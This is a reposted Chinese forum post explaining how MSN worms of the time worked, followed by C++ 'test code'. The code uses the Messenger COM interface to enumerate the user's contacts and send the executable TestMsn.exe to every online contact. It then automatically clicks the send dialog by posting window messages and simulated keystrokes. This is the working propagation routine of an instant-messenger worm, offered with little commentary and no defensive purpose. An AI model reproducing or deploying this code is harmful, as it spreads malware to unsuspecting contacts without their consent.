发新话题
打印

[转载]MSN病毒原理及测试代码

[转载]MSN病毒原理及测试代码

文章作者:haiwei/CVC.GB

今年春节后的一段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN

这个也很简单,微软有公开的接口让你用.

下面是测试代码,只有通过MSN传送文件部分
复制内容到剪贴板
代码:
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include "msgruaid.h"    //这两个头文件就是接口的定义
#include "msgrua.h"      //有兴趣的同学可以在网上找找(没找着可以找我要)
#include <comutil.h>

int main(int argc, char* argv[])
{
IMessenger *pIMessenger = NULL;  //a pointer to an IMessenger interface
  BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
BSTR bstrFileName;
char *szOpenDlg;
char szMsnWindowsClass[] = "IMWindowClass";
char szButtonText[] = "打开(&O)";
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0);   //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);   //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts);  //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount);          //得到好友数
  for (int i = 0; i < nCount; i++)
  {
   MsnContacts->Item(i, (IDispatch**)&MsnContact);
   MsnContact->get_SigninName(&pbstrName);       //账号
   MsnContact->get_FriendlyName(&bstrFriendName);  //签名
   szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
   MsnContact->get_Status(&dwStatus);
   if (dwStatus == MISTATUS_ONLINE)      //判断是否在线
   {
    GetCurrentDirectory(MAX_PATH, szCurDir);
    lstrcat(szCurDir, "\\");
    lstrcat(szCurDir, "TestMsn.exe");
    lstrcpy(szBuf, "发送文件给 ");
    lstrcat(szBuf, szOpenDlg);
   
    bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
   
    vaTemp.vt = VT_BSTR;
    vaTemp.bstrVal = pbstrName;

    pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow);  //发送文件

  do
  {
  

   hWnd = FindWindow(NULL,szBuf);
   hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);

   } while(!(hWnd && hBtn));

  dwControlId <<= 16;
  dwControlId |= 1;

  PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
  keybd_event(VK_RETURN, 0, 0, 0);
  keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);


  }
  
  MsnContact->Release();
  MsnContacts->Release();
  
  pIMessenger->Release();  //释放相关资源
  CoUninitialize();
  ExitProcess(0);
  return 0;
}
还有很多有用的接口, 有兴趣的同学自己看
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题